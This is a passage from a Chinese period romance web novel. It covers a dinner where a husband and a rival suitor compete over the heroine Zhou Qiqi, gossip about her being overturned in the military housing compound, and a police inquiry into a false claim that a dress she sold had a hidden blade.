大家也都没空手来,邓翠香在自家后院摘了一筐子蔬菜,又让姜营长去集市买了一框子水果。 朱莹莹知道周柒柒爱吃鱼,和王团长去西边老乡家的鱼塘现钓了几条,这会儿还在木盆里活蹦乱跳地扑腾。 东西都是两个男人提着,沈淮川领着他们进屋。 两个男人提着东西,跟着沈淮川进屋。 两个男人一进门,目光就不由自主地落在沈淮川胸口缝着的奶瓶上,那白白胖胖、惟妙惟肖的图案,想不注意都难。 但当着沈淮川的面,他们都没敢说什么,只是憋红了脸,眼神中满是忍俊不禁。 趁着沈淮川转身离开的时候,姜营长赶忙凑到王团长身边,压低声音八卦了起来。 “王团长,你瞧见没?” 他眼睛里闪烁着兴奋的光芒,叽里咕噜个不停。 “这还是咱们军区的活阎王吗?” “英雄难过美人关啊,这是媳妇逼着穿的吧!” “说出去肯定没人信,哈哈哈...” “确实很...可爱。” 王团长也跟着笑了起来,声音压得很低,却充满了调侃的意味。 沈淮川耳朵尖,清清楚楚听到了两人的话,脚步一顿,手不自觉地握成了拳,耳尖微微泛红,但还是脚步坚定地继续往前走。 院门前,周柒柒已经远远地冲着来人打起了招呼。 “雷鸣,你来啦~!” 一身西装的雷鸣站在门口,俊朗的脸上带着一丝不自然的红晕,有些局促地笑了笑。 其实一开始接到沈淮川电话的时候,他是不想来赴约的。 但是一想起周柒柒那张鲜活灵动的脸,脑海中浮现出她笑起来弯弯的眉眼,他就鬼使神差地答应了。 从小到大,围在他身边的女孩子不少,但他还是第一次,对一个女孩有心动的感觉。 她身上,有一种灵动鲜活的气息,怼天怼地怼空气,好似岩石缝里生长出来的娇娇玫瑰,又像自由自在的百灵鸟。 而且还那么坚毅,那么勇敢,让他怎么都忘不掉。 尽管知道她已经结婚了,但他还是想来见她一面,跟她说说话。 之前他已经缠着周婶婶打听清楚了。 周柒柒和沈淮川结婚才不到一个月。 而且,是因为周柒柒勾搭了沈淮川,被人撞见,坏了名节,才不得不结婚的。 两个人肯定没有什么感情基础。 那个沈淮川,比柒柒大了五、六岁,又是军区里出了名的冷面阎王,肯定没有他会讨女孩子欢心,也不懂得心疼女孩子。 说不定,他还有机会呢? 为了赴这趟约,雷鸣可费了不少心思。 他买了好几身新衣服,在镜子前反复试穿,又用发蜡抓了半天头发,才勉强弄出一个满意的造型。 看到周柒柒的那一刻,他的眼睛一下子就亮了。 今天她穿一身卡其色格纹连衣长裙,端庄大方,裙摆随着微风轻轻摆动,衬得她整个人温柔知性,像是城里的大小姐。 又带给他一种完全没有体会过的感觉,让他的心不由自主地加速跳动。 “不好意思,迟到了几分钟。” 雷鸣略带歉意地说道。 周柒柒笑容灿烂,热情地摆了摆手。 “没有,没有,都是刚到呢!” 说着,就赶紧冲着沈淮川招了招手。 “对了,你之前不是说没见过嘛,我给你介绍一下,这位就是我老公,咱们军属区一团团长,沈淮川。” 雷鸣伸出手,握得格外用力。 “沈团长,初次见面,幸会。” 沈淮川目光如炬,毫不示弱地迎上去,两人目光相撞,火花四溅,都带着一股不服输的劲儿。 “雷少爷贵人多忘事,我们在火车上就见过了,上次,你也没抓住小偷。” 沈淮川嘴角微微上扬,语气中带着一丝淡淡的嘲讽,手上的力道让雷鸣隐隐作痛。 雷鸣脸色涨红,分不清是疼的还是害臊了,干笑了几声,赶忙抽出手。 “咳咳,是吗?不记得了...” “什么火车?什么小偷?哎,该不会是我来军区的那次吧?” 雷鸣不记得了,周柒柒可还记得自己上次在火车上遇到小偷。 她当时还画了张字条奚落小偷呢! 不知道当时那个小偷抓到没有,有没有看到她的便便攻击! 说到这事儿,两个各怀心思的男人对视一眼,异口同声地回答道。 “不是。” 这两人口径这么一致? 周柒柒挠了挠头,有点摸不着头脑,不过她还是赶紧道。 “行了行了,咱们别在门口说话了,进去坐~!” 今儿个除了雷鸣,家里还有别的客人呢。 “淮川,你招呼雷鸣~” 这会儿翠香姐和莹莹都自觉地去洗蔬菜了,她可不能干看着,招呼了一声就走了。 沈淮川请雷鸣进去,给他倒了一杯水。 雷鸣刚刚在初次交锋中落了下风,此时看着周柒柒离去的背影,再瞅瞅沈淮川身上的睡衣,忍不住发起第二轮攻势。 他嘴角挂着看似友好的笑,眼神却暗藏锋芒,有意无意瞥向沈淮川胸口的奶瓶图案。 “沈团长还挺随和的,平时在家就穿睡衣啊。” 第58章 他输地彻底 沈淮川唇角勾起一抹似有若无的笑意,那双深邃的眸子里流转着几分玩味,神色镇定自若,仿佛一切都在他的掌控之中。 “是啊,柒柒亲手给做的,雷同志应该见过的啊,不觉得眼熟吗?” 他故意拉长尾音,语调轻缓,带着几分漫不经心的炫耀。 这话让雷鸣目光骤然聚焦,盯着那花色图案,记忆瞬间翻涌。 “这是...上次抓小偷的时候,袋子里那件...” 想起那天周柒柒对蛇皮袋里衣服的珍视,他的脸色瞬间变得苍白如纸。 沈淮川点点头。 “没错,多谢雷同志见义勇为,替柒柒抓小偷,才能把这身睡衣抢救下来。” 说着还乘胜追击,顺势递出一个精致的牛皮纸袋。 “当时你西装还破了,我特意给你买了一身新的,一定得收下。” 雷鸣摆了摆手,声音有些发虚。 “客气了,我之前就和柒柒说过,我的西装不用她赔,不管怎么说,她也算是救了我。” “没有柒柒的话,破的就不止是西装了。” 沈淮川听到他一口一个“柒柒”,眉头微微一挑,语气陡然变得强势。 “柒...不,我媳妇说了,这恩情必须得还。雷同志要是不收,我只能送到雷政委那儿去了。” 雷鸣一听“雷政委”三个字,心里顿时发怵。 他从小就怕那个总是板着脸给自己上思想教育课的叔叔,哪里敢把这事儿捅到叔叔那里? 只能咬着牙,极不情愿地收下了那份回礼。 一转身,他就把那套西装随意地甩在了一边,嫌弃得不得了。 其实,他之前不肯接受回礼,就是想着能借此和周柒柒还有些纠葛,说不定以后还有机会再见面。 可现在收下了,那点渺茫的希望,算是彻底破灭了。 他忍不住怀疑,这个沈淮川是不是早就看穿了自己这点小心思。 两轮交锋下来,雷鸣都被沈淮川打得节节败退。 从小到大,他哪里受过这样的挫败? 心里又憋屈又窝火,找了个上厕所的借口匆匆离开。 等他回来时,饭都快开了。 秦磊正忙忙碌碌地布置桌椅,把吃辣的和不吃辣的分开两桌。 姜营长帮着端肉到桌上,一看眼前的情形就不干了。 “石头,你咋回事?怎么把凳子都摆那边去了?我们这儿就剩两凳子,就我和王团长坐?这也太不像话了吧!” “快把你们团长的椅子摆过来!” 姜营长今天特意带了瓶好酒来,就想着给沈淮川撑场子,结果就这待遇,心里那叫一个不爽。 石头挠了挠头,一脸无奈。 “姜营长,没办法啊,你那桌是辣锅,我们团长不太能吃辣!” 姜营长撇了撇嘴,满脸嫌弃。 “连辣都吃不了?也太没出息了,不够爷们!” 他看了看旁边的雷鸣,眼睛一亮。 “那小雷同志呢?你能吃辣不?” 沈淮川知道,雷鸣和雷政委一样,都是羊城人,不太能吃辣,正准备帮着回答。 可雷鸣却抢先一步,扯着嗓子喊道。 “我吃辣!我能吃辣!辣有什么吃不了的!” 那声音里带着股破罐子破摔的劲儿。 姜营长一听,乐坏了,搂着雷鸣的脖子就往自己桌子那边拽。 “来来来,正好,咱们一桌!我好好招待招待你!” 沈淮川看着雷鸣头也不回地跟着走了,无奈地给秦磊使了个眼色,示意把自己的凳子也搬到那桌去。 秦磊立马说:“那我也和你坐一桌!” 沈淮川摇了摇头,语气沉稳。 “不用,你去那桌帮你嫂子招呼客人,这边有我就够了。” 煤炉子烧得正旺,麻辣锅底在锅里咕嘟咕嘟地翻滚着。 薄如蝉翼的牛羊肉,鲜嫩的绿色蔬菜,一下锅就染上了一层艳红的辣油。 雷鸣看着这火辣辣的场面,心里直发怵,喉头发紧,都有点想打退堂鼓了。 可一看到沈淮川居然也在这桌坐下了,心里那股不服输的劲儿瞬间就上来了。 他心一横,咬着牙,抓起姜营长夹给他的麻辣牛肉就往嘴里送。 辛辣像炸开的鞭炮,从舌尖窜到天灵盖。 雷鸣眼眶通红,眼泪在打转。 可沈淮川就在旁边坐着,他哪里肯示弱? 只能梗着脖子把牛肉咽了下去,还挑衅地瞥了一眼始终没动筷子的沈淮川。 这算是他的第三轮攻势了,他就不信,自己还比不过这个沈淮川! 可他没想到,沈淮川还没出招,姜营长就像找到了知己一样,热情地搂住他的肩膀,大声夸赞。 “小雷兄弟,真有魄力!来来来,哥哥敬你一杯!” “我...” 别看雷鸣是个公子哥,但平时可是滴酒不沾的。 但今儿个沈淮川就在边上,他是一点儿也不想输了气势。 他一把夺过酒杯,仰头一饮而尽! “豪爽~!” 姜营长今天本以为没人陪他喝酒了,这下可高兴坏了,连着回敬了两杯,还搂着雷鸣称兄道弟起来。 酒桌上讲究礼尚往来,人家敬了两杯,雷鸣没办法,只能硬着头皮又干了一杯。 这可是度数极高的纯粮酒,两杯下肚,他只觉得天旋地转,胃里翻江倒海,疼得厉害。 可他表面上还强撑着,没露出什么异样。 这时,王团长也端着酒杯走了过来。 作为客人,姜营长都敬了酒,他也得表示一下。 雷鸣基本的人情世故还是懂的,清楚这杯酒自己不能不喝。 他强挤出一抹微笑,刚要举杯,酒杯却被一只修长的手拦住了。 “小雷同志是我的客人,他的酒,我来替他喝!” 沈淮川的声音不疾不徐,却带着不容置疑的力量。 话音刚落,指尖已经稳稳扣住酒杯,喉结滚动,一饮而尽。 姜营长平常就爱喝酒,一直发愁没有酒搭子呢,这下可是过年了,又倒了两杯酒端过来。 “好好好!小雷同志够豪爽!沈团长也够义气~!今儿个咱们不醉不归~!” ...... 沈淮川说到做到,递到雷鸣面前的每一杯酒,都进了他的肚子。 不仅如此,沈淮川还让秦磊端了两个装着白水的碗过来,让雷鸣可以把锅里的菜涮一涮再吃。 雷鸣喝了两杯白的,头疼的厉害,却也清楚的知道,这第三轮,他也输了。 输得彻底。 第59章 死丫头,真幸福 饭后,男人这一桌个个都喝得东倒西歪。 姜营长喝的不算多,人却醉得最厉害,被邓翠香半扶半架着离开了; 王团长醉得轻些,朱莹莹只需稍稍搀扶就能走。 而沈淮川喝得最多,这会儿已经昏睡过去了。 周柒柒叮嘱秦磊去照看沈淮川,自己将今儿的主角雷鸣送到院门口。 这一桌人里,也就雷鸣喝得最少。 他的酒几乎都被沈淮川挡了下来。 看着雷鸣脸色略显苍白,周柒柒目光中满是关切。 “雷鸣同志,你还撑得住吗?要是不舒服,我让秦磊送你回去?” 雷鸣扯了扯嘴角,勉强挤出一丝苦笑,眼底却藏不住深深的失落。 “不用,就喝了两杯,还不至于要人送。” 周柒柒点点头,客气寒暄几句后,便准备关门回屋。 就在她转身的刹那,雷鸣心头猛地一紧,喉结上下滚动两下,喊出声。 “等等!” 他缓缓抬起头。 “如果,我是说如果...” 话说到一半,他的嘴唇颤抖得更厉害,神色挣扎,怎么也说不下去。 周柒柒嘴角扬起一抹温和的笑。 “雷鸣同志,世界上没有‘如果’,不要把时间浪费在‘如果’两个字上,那样你会很痛苦的。” 她的神色认真又坦然,带着善意和关切,唯独就是没有一丁点男女之间该有的暧昧情愫。 雷鸣身形晃了晃,机械地点头,眼中光芒渐渐黯淡。 他没再多说什么,转身大步离去。 周柒柒回屋收拾残局,还没收拾完,邓翠香又风风火火地回来了,手里拎着一袋子葛根和酸枣。 她和姜营长都爱喝口白的,这是她婆婆从老家给两人搜罗来的醒酒小偏方。 可好使了。 喝醉后喝上一碗,第二天醒来头也不疼。 不过就是熬的时候麻烦点。 得先泡一会儿,再用砂锅文火慢煎,中间火候也不能错了,不然就没效果了。 她准备亲自给柒柒示范一遍 生煤球时,闻着满屋子的火锅味儿,又分享起散味儿的妙招。 “我妈教我的法子,在炉边摆一圈橘子烤着就行。” 烤一会儿屋子里的火锅味就散了,只剩下满屋子的橘子香味。 烤完之后,橘子外皮干瘪,但里头的果肉烤得软软的,暖乎乎,酸酸甜甜的,可好吃了。 周柒柒一听,瞬间反应过来了,这不就是后世的围炉煮茶吗? 以前她也想体验来着,但是一看价格就望而却步了。 没想到那么早就有人这么做了啊。 两人边吃橘子边等醒酒汤,邓翠香凑过来,眼神带着八卦的兴奋。 “雷鸣走前,跟你说啥了?” 周柒柒也不隐瞒,将两人的对话全都说了。 邓翠香一听就傻眼了,嗔怪地看了一眼周柒柒。 “你真这么说?你这小妮子,还怪狠心的!” 周柒柒塞了一瓣橘子进嘴巴,眨巴着眼睛,有点无辜。 “这怎么就狠心了?我就是看他情绪不好,想安慰几句。” 以前她自己就总是患得患失的,总想着如果自己不是出身在那样的家庭,也许她的人生会完全不一样呢。 但想来想去,却发现“如果”根本没有任何意义。 什么都改变不了。 后来抛弃了这些幼稚的幻想后,她不再难过,逐渐变成了成熟的大人。 她是真心为雷鸣好,才会那样对他说的。 看她一本正经的,邓翠香翻了个白眼,语气里满是恨铁不成钢。 “傻妞,你别告诉我你看不出来?那个雷鸣,他喜欢你!” “啊?” 周柒柒彻底愣住了,一脸茫然。 邓翠香说的这些,她真是一点儿没感觉到。 她是真的母胎SOLO,对感情完全没有任何一点概念。 她和沈淮川都是“义务”夫妻,对别的男人更是完全没有那方面的想法。 当即就摇头否认道。 “你误会了吧,翠香姐,没这回事儿。” 邓翠香一脸的笃定。 “错不了!我们邓家以前就是靠给人保媒拉纤挣钱的,我从小看得多了!” “不止是我,我估计沈团长也知道这事儿!我看他今天也怪怪的,跟泡进醋坛子了似的...” 她凑到周柒柒身边,佯装嫉妒地咂了咂舌。 “啧啧,死丫头,两个男人为了你争风吃醋的,你可真是有福气!” 说着又碰了碰柒柒的肩膀。 “臭丫头,我问你,如果你没有和沈团长结婚,而是同时遇见沈团长和雷鸣,你会选哪个?” “我都说了,世界上哪有如果啊?我从来不浪费神在这种事情上。” 周柒柒低头笑了笑,一脸的无奈。 邓翠香看她明显不信,摆了摆手。 “死丫头真是的,美梦都不会做,真没意思,好了好了,不和你说这个了。” 她瞥了眼砂锅里的醒酒汤。 “差不多了,就这么再小火煎五分钟。” 看了看时间,她神色有些着急。 “我也得走了,不能待太久!” “我家那位大小是个营长,平时看着人五人六的,但是喝多了睡不沉,十几分钟就醒一次,必须得我在边上哄着,看不见我就躺地上又哭又闹的,跟个小孩似的,麻烦得要死!” 柒柒送她到门口,远远听见几个小孩正在广场上疯跑,又想起了中午的事,赶紧叫住邓翠香问道。 “哦,对了,你回去有没有问问,向阳是怎么了?和舟舟到底闹什么矛盾了?” 中午她们这桌上,气氛也有一点怪怪的。 安排的是三个小孩坐一起,结果姜向阳说什么都不肯坐在舟舟附近,硬生生搬着凳子挤在三个大人堆儿里。 吃东西的时候,也非要闹别扭,舟舟吃什么,他就偏不吃什么。 舟舟倒是挺淡定的,每样都吃了点。 这下可把姜向阳气坏了,啥也吃不了,灌了几大杯桔子精兑的饮料,硬生生给灌饱了。 提起姜向阳,邓翠香就一肚子气。 “问过了,那臭小子怎么都不肯说!那臭脾气也不知道跟谁学的!回去我非打得他屁股开花不可!” 周柒柒赶紧拦着。 “别别别,翠香姐,小孩子嘛,偶尔闹闹矛盾也正常,不一定是谁的错呢,你可别打向阳!” “行吧。” 邓翠香撇了撇嘴,也不知道听没听进去。 送走她之后,柒柒把煮好的醒酒汤端到房里。 沈淮川睡得正沉。 与姜营长不同,沈淮川喝醉后十分安静,眉头依旧紧锁,嘴角抿成一条直线,神情冷峻,和平时别无二致。 不知为何,脑海里忽然重播起翠香姐刚才说的话。 她搬来凳子坐在床边,伸出手,轻轻抚过他紧锁的眉头,又缓缓滑向紧抿的唇角。 然后,鬼使神差地附身凑近了些,轻声说了一个字。 “你...” 第60章 周柒柒吗?跟我们走一趟! 雷鸣去沈淮川家吃饭的事儿,次日便在家属院里传得人尽皆知。 毕竟雷鸣去的时候没避着人,回雷政委家的路上,还特意穿过家属院主干道,甚至特意停下和几个常去雷政委家的熟面孔聊了几句。 把沈淮川送的西装展示给他们看,将前些日子与周柒柒合力抓小偷的经过,一五一十说了一遍。 就在前天夜里,邱春芳和李红娟声称周柒柒与人偷情,她们前去捉奸,结果奸没捉到,反倒害得自己跌进粪坑,浑身狼狈不堪。 那时候大家就感觉邱春芳之前说的的那些谣言不可信。 但还有一些看热闹不嫌事儿大的人说,要把两件事分开看,邱春芳两人臭,就不代表周柒柒是清白。 她们还是觉得周柒柒会勾引男人,不检点。 可雷鸣这番举动,彻底堵住了众人的嘴。 沈淮川是什么人啊,那可是他们军区的活阎王,如果周柒柒真做了什么不检点的事儿,他不可能正大光明地把奸夫请到家里去吃饭。 这事儿一发生,整个家属院的风向全都变了。 “这两个嚼舌根的女人就是大院子里的祸害,听风就是雨的!” “是啊,哪儿有人这样编排别人的?简直太过分了!” “别人是见义勇为抓小偷,结果说别人勾勾搭搭,啧啧啧...” “纯粹就是吃饱了撑的!害我们都误会好人了!” “活该掉粪坑!这俩人心眼比大粪还臭呢!” ...... 周日傍晚,邓翠香家院子里,周柒柒倚着竹椅,手里剥着橘子。 邓翠香正绘声绘色模仿那些长舌妇说话,周柒柒听得直不起腰,笑得眼泪都出来了。 “她们真这么说的?” “那还能有假!” 邓翠香眼睛亮晶晶的,忙不迭点头。 “我特意蹲茅房边上听的,可有意思了!” 想起之前自己苦口婆心解释真相,那群人却死活不信,她忍不住撇了撇嘴。 “现在倒知道自己误会了,早干嘛去了!” “还有更热闹的。” 邓翠香压低声音。 “廖科长被雷政委叫去训了一顿,听说这两天和李红娟在家吵得不可开交。有人半夜上厕所撞见李红娟,她脸上清清楚楚一个巴掌印!” “廖科长动手打人?” 周柒柒闻言,眉头微微蹙起,眼底闪过一丝不忍。 “那李红娟也挺可怜的。” 隔壁邱春芳家这两天也是吵吵个不停,不过也就仅限于摔盘子摔碗,和哭爹喊娘,没真动起手来。 邓翠香冷哼一声,撇了撇嘴。 “她有什么可怜的?成天闲着没事干,见不得别人好,现在不过是自食恶果罢了!” 柒柒耸了耸肩,“也是...” 邓翠香正要开口,瞥见柒柒还站在那儿,赶忙招手。 “哎呀你咋一直站着,赶快坐下说!” 从柒柒进门,邓翠香这嘴巴就没闲着,这会儿她说完了,周柒柒才终于有机会开口。 “行,快接着,拎得我胳膊都酸了。” 邓翠香没急着接,先好奇打量。 “这是啥?” 柒柒把袋子塞进她怀里,拿出来两件崭新的牛仔裤和一件针织裙。 “没啥,这不天凉了嘛,给你做了一身裙子,还有向阳和向海一人做了一件新裤子。” 邓翠香后退半步,摆了摆手。 “哎呀,大妹子,这我可不能收!我们有衣服穿!” 柒柒笑了笑。 “跟我还客气什么?我囤了不少料子,顺手做的。你还不知道我手艺?这点活儿半小时就搞定。” 这段时间翠香姐给自己家菜地施肥后,都会帮着给她家地也一起弄了,弄得一身脏,加起来花费的时间可不止半个小时。 还有那天吃火锅,向阳那小子的裤子她可是见着了,屁股、裆,还有膝盖都补了好几个补丁,层层叠叠,跟丐帮似的。 她都看在眼里的,给钱太生分了,她肯定也不会收。 想了想,还是用自己的手艺回报最好。 周柒柒一脸的坚持,邓翠香知道自己推辞不过,索性跑去屋子里拿了五张大团结,硬要往周柒柒口袋里塞。 周柒柒板着个脸,使出了终极杀招。 “你非要算这么清楚的话,那舟舟明天中午来你家吃饭,我也给你拿伙食费!你不收,我就让舟舟饿肚子不许吃!” 邓翠香嗔怪道:“你舍得让舟舟饿着?” 周柒柒挑眉,得意地努努嘴:“你试试?舟舟有多听话你也是知道的。” “服了你了!” 邓翠香无奈摇头,小心翼翼地将衣物叠好,指尖抚过柔软的布料,眼底藏不住欢喜。 “那我先收着,不合适再找你改。” 她突然想起什么,神色认真起来,“明天又要去摆摊?” “是啊。” 周柒柒点点头,上次进的那几款衣裳都改造得差不多了。 本想周五就出去,可心里惦记着周五晚上看电影,顺便整治那两个长舌妇,便偷了个懒。 周一无论如何都得去了,要不萍姐又得以为她出什么事儿了呢。 邓翠香了然地点头。 “那明天早上我陪你一起坐采买车!省得你被人瞧见了,又说三道四。” 柒柒赶紧摆了摆手,“不用不用。” 她刚才来之前已经先去电话室给赵大姐捎话,让她明天早上在小门那边接她了。 这趟过来,除了送衣服,就是想着让邓翠香明天帮着照看一下舟舟。 沈淮川的团明天要参加军区的越野比赛,周日一大早就走了,明天中午肯定回不来。 “行,你这丫头,考虑得还挺周全。” 邓翠香不由对周柒柒刮目相看。 两人又说了几句,就回头赶紧洗漱去了。 第二天清晨,周柒柒做了些水煎包,还特意给赵大姐带了些。 驴车如往常一样,载着她到了市区路口。 这次她带的衣裳多,赵大姐特意把车停在一个厂区门口,找来熟人帮忙照看,又帮着周柒柒把蛇皮袋拎到电影院门口。 刚把东西放下,几个身着公安制服的男人突然走了过来,面色阴沉,眼神犀利。 “你是周柒柒吗?麻烦你,跟我们走一趟。” 第61章 她这是故意害人啊! 周柒柒虽然才在这一片小市集摆了两次摊,但已经是众人瞩目的焦点。 别的不说,单说她把冉红霞这个麻烦人物赶走,就让大家心里畅快得不得了。 再说她摊位上的衣裳,件件样式独特,好看得紧。 还有她别出心裁的经营模式,明码标价不讲价,既让顾客买得省心,也让摊主们免去讨价还价的麻烦。 好多摊主现在都跟着学。 这会儿她一来,不少人就巴巴地往她这边瞧,盼着能看看今儿又带来了啥稀罕货。 上次挨着周柒柒摆摊的袜子大姐和男装大婶,自那次之后,便固定在这儿出摊了。 两人一直盼着周柒柒再来,还为此打了赌。 这会儿瞧见她,眼睛一亮,满脸喜色,急不可待地要跟她打招呼。 可谁能想到,还没等她们开口,几个身着公安制服的男人快步走了过来,沉着脸让周柒柒跟他们走一趟。 八十年代民风淳朴,大家平日里很少和公安打交道,加上之前几次严打,多数人见了公安都心生畏惧。 在众人眼里,但凡和公安扯上关系的,都不是什么好人。 此刻见周柒柒被公安围住,人群顿时骚动起来,窃窃私语声此起彼伏。 有人满脸疑惑。 “这柒柒时装摊的老板犯啥事儿了?咋还惹上公安了...” “小姑娘人挺好的,是误会吧...” 也有人语气酸溜溜的,带着嫉妒。 “看她那模样就不像是安分的,衣裳还卖得那么贵。” “长得这么漂亮,该不会是当了小三让人告了吧...” ...... 不管众人如何猜测,被公安找上门,怎么看都不是什么好事。 袜子大姐和男装大婶对视一眼,脸上露出犹豫之色,终究没敢上前。 只有拉驴车的赵大姐,紧攥着拳头,脚步有些发颤地挡在周柒柒身前,声音微微发抖。 “公安同志,你们是不是弄错了?柒柒她不是坏人!” 周柒柒看着赵大姐明明自己也害怕得厉害,胳膊都在止不住地颤抖,却还想着护着自己,心里涌起一股暖意。 她伸手轻轻拍了拍赵大姐的肩膀,声音轻柔。 “没事儿大姐,让我来。” 她神色镇定,语气从容,仿佛眼前的状况根本不值一提。 赵大姐点了点头,下意识地摸向腰间绑着的鞭子。 周柒柒面带友善的微笑,不卑不亢地看向为首的两位公安。 “两位同志,不好意思,我能看一下你们的证件吗?” “证件?” 这一声询问,让两个公安都愣了一下。 平日里,不管是谁见了他们,都是毕恭毕敬,多少有些害怕,可眼前这人不仅丝毫不惧,居然还敢向他们索要证件。 年轻的警官脸色瞬间沉了下来,语气不善。 “你一个犯罪嫌疑人,还问我们要证件?真够嚣张的!我们这身衣服你不认识啊?还不跟我们走?” 旁边年长些的警官赶忙伸手拦住他,转而冲着周柒柒露出和善的笑容。 “哎,先亮证,后询问,这是规定,应该的,人家小姑娘的要求没有问题。” 说着,他动作利落地从上衣口袋掏出工作证递了过去。 年轻警官虽不情愿,在老警官的眼神示意下,也只好掏出了自己的证件。 周柒柒看得格外仔细,红色塑料封皮,封面上的徽章,里面的照片等信息,一一核对无误后,才笑着将证件递还回去。 “谭警官,黄警官,没问题了,谢谢。” 待两人收好证件,她又主动开口问道,声音响亮,一点儿也不露怯。 “我想请问一下,黄警官称呼我是犯罪嫌疑人,这意思,具体是有什么案件要传唤我吗?我涉嫌什么罪名?” 这话问得专业又清晰。 黄警官平日里习惯了用“警察”“犯罪嫌疑人”这类词吓唬人,虚张声势,节省时间,普通人一害怕就乖乖配合了。 可实际上,传唤犯罪嫌疑人得出示《传唤证》。 要是周柒柒非要,他们还真拿不出来,也办法真把她带走。 这会儿他一时语塞,不知如何回答,嗫嚅了几下,没出声。 倒是谭警官,脸上笑意不减,摆了摆手道。 “不是不是,没有传唤那么严重,只是你之前卖的衣服出了点问题,有人到我们局里报案,需要你过去配合一下调查而已。” 说着,他指了指马路对面不远处的公安局,语气和蔼。 “也不远,就在马路对面,耽误不了你多少时间的!你看看方不方便,跟我们过去一趟。” 这两位公安一开始脸色阴沉,眼神锐利,让周围人都以为周柒柒犯了大事。 可短短几句话的功夫,两人态度就来了个大转变,围观的众人皆是目瞪口呆。 “这老板娘居然敢跟公安叫板?怎么回事啊?” 不过众人更关注的,是公安所说的,周柒柒卖的衣服出了问题。 处在风暴中心的周柒柒沉吟了一下,点了点头。 “行,配合调查是每个公民应该尽的义务,那我就跟你们走一趟吧。” 她不怕事,不惹事,但也不是傻子,这种情况下没必要为难警察。 而且,她行得正、坐得端,根本不怕进公安局。 她也好奇,她卖的衣服出了什么问题,居然能被人告到公安局去。 “我跟朋友交代一声,稍等我一下。” 她跟两位公安说了一声,把赵大姐拉到一边,让她赶紧回去。 最近这一个月,赵大姐每天都会给她家送羊奶,两人已经很熟悉了。 她知道赵大姐这个寡妇,家里除了脑子不清醒的公公以外,还有三个孩子要养活,全靠着每天拉驴车赚些钱,不能耽误人家时间。 可赵大姐性子执拗,说什么都不肯走,非要陪着周柒柒进去“讨个说法”。 周柒柒拗不过她,只好让她拎着蛇皮袋在公安局门口等着。 就这么耽搁了一会儿,周围看热闹的人越聚越多。 在众人好奇、幸灾乐祸,还有担忧的目光注视下。 周柒柒步伐沉稳,不慌不忙地走进了公安局。 大厅里,一位大婶正扯着身边的女孩,拉开她的袖子,跟里面的公安哭哭啼啼地哭诉。 “我闺女可是学舞蹈的!以后还怎么活啊?” “都是那个什么柒柒时装铺的老板娘周柒柒害的!” “她这是故意害人啊!” 第62章 你还想抵赖? 大婶声音又大又尖,吵得整个大厅鸡犬不宁的。 身着制服的李队长面对大婶的吵闹,不住地抬手安抚,声音里带着几分疲惫与无奈。 “大婶,您先消消气,稍等一等,人很快就带过来了,先别吵了。” 然而,大婶根本就听不进他的话,仍旧一把鼻涕一把泪地哭哭啼啼,嘴里骂骂咧咧个不停。 “我蹲守她好几天了,今儿好不容易瞅见她出摊,立马就来公安局报案。你们必须给我闺女讨个公道,把那个周柒柒抓起来!” 她情绪激动,声音愈发高亢。 “光抓进去可不行!必须让她赔钱,狠狠赔!” 话音落下,她稍稍停顿,眼神里闪过一丝狠厉,咬牙切齿地威胁道。 “不然,我和我闺女就吊死在你们公安局门口!” 李队长被吵得太阳穴突突直跳,脸上满是无奈。 他伸手揉了揉发胀的额头,正焦头烂额之际,谭警官快步走了进来。 “李队长,人带到了。” 李队长像是溺水时抓住了救命稻草,眼睛里瞬间有了光亮。 他立马抬手,指向站在一旁的周柒柒,声音急切。 “大婶,您先别哭了,仔细瞧瞧,这人是不是卖给你衣服的老板娘?” 大婶猛地转过身来,那双布满血丝的眼睛死死地盯着周柒柒,上上下下打量着,眼神里充满了审视与怨恨。 她重重一点头,语气笃定得不容置疑。 “没错!就是她!赶快把她抓起来!害人精!” 说着,她便张牙舞爪地朝着周柒柒扑了过来,那架势,仿佛要把周柒柒生吞活剥了一般。 跟这位大婶比起来,邱春芳都慈眉善目的。 周柒柒忽然遇见这么一个神经病,也吓了一跳,赶忙躲到谭警官身后。 谭警官反应迅速,双臂张开,将她牢牢护在身后。 李队长再也按捺不住心中的怒火,“砰”的一声将茶杯重重摔在地上,面色阴沉,厉声喝道。 “先闭嘴!这里是公安局,不是菜市场!不能这么闹!” 待大厅稍稍安静,他目光如炬,直直看向周柒柒。 “你就是周柒柒?这位大婶说,她女儿在你摊位买的衣服,袖子里缝着刀片,把人划伤了。” 他边说边示意,只见大婶身旁站着个十七八岁的女孩,皮肤白皙,胳膊上那道暗红色的伤口格外刺眼,女孩瑟缩在母亲身侧,小声啜泣着,完全不敢抬头看人。 交代完情况,李队长语气严肃。 “你跟我们去审讯室一趟,把事情说清楚。” 周柒柒望向他指的方向,那扇门黑洞洞的,透着股阴森劲儿,她心里直发怵,赶忙摇头。 “这位大婶和她女儿,我根本就没见过,也没有卖衣服给她,这是诬告。” 别看她路痴,但是对于顾客,还是记得比较清楚的,这两人她是真没见过。 而且,她做衣服的时候格外小心,做完至少检查三次,是绝对不可能有刀片在衣服上的。 大婶怒目圆睁,脸上的肌肉都因愤怒而颤抖起来。 “你这个奸商,你摊位上来来往往那么多人,你说没见过就见过?” 她停顿了一下,又恶狠狠地说。 “再说了,这衣服款式只有你家有,和你身上穿的一模一样,你敢说不是你卖的?!” 说着,她扔出一身衣服来。 那是一套花瓣微泡泡袖衬衫搭配法式双层蕾丝边半身裙。 周柒柒看着眼熟,可不正是自己上周售卖的法式小套装。 巧的是,她今日也穿着同款。 证据就在她身上,乍一看,她似乎是不可能否认得了的。 她也没想着否认,而是皱着眉弯腰捡起衣服,手指轻轻摩挲着布料,沉声道。 “这款式确实是我卖的。” 大婶顿时面露喜色,尖声叫嚷。 “她承认了!快把这小贱人抓起来!” 在座的几个公安也皱了皱眉,指向审讯室,“那就请吧。” “等等~!” 周柒柒蓦然抬头,眼神清亮,攥着那套衣裳,一字一顿道。 “我只是说,这款式是我卖的,但是并没有承认,这件衣裳是我卖出去的!” “这有啥区别?!你还想抵赖?” 大婶暴跳如雷,向前跨了一步,唾沫星子都飞溅了出来。 一开始看到这身衣服的时候,周柒柒也吓了一跳,还真以为是自己记忆出现偏差了。 但当把衣服拿到手上之后,她立马就确定,这身伤人的衣服,绝对不是自己的。 她微微一笑,语气始终不卑不亢。 “区别太大了。” 然后举起手中的衣服,一一指着细节处。 “这衣服材质比我进的货差太多,一看就是劣质品,和我进的根本不是一个厂子出的,估计是哪个小厂子的尾货,还有这缝线、纱料,全是次品。” 她顿了顿,眼神扫过大厅里的几位警官。 “不信的话,你们可以去外面拿我蛇皮袋里的货做对比。” 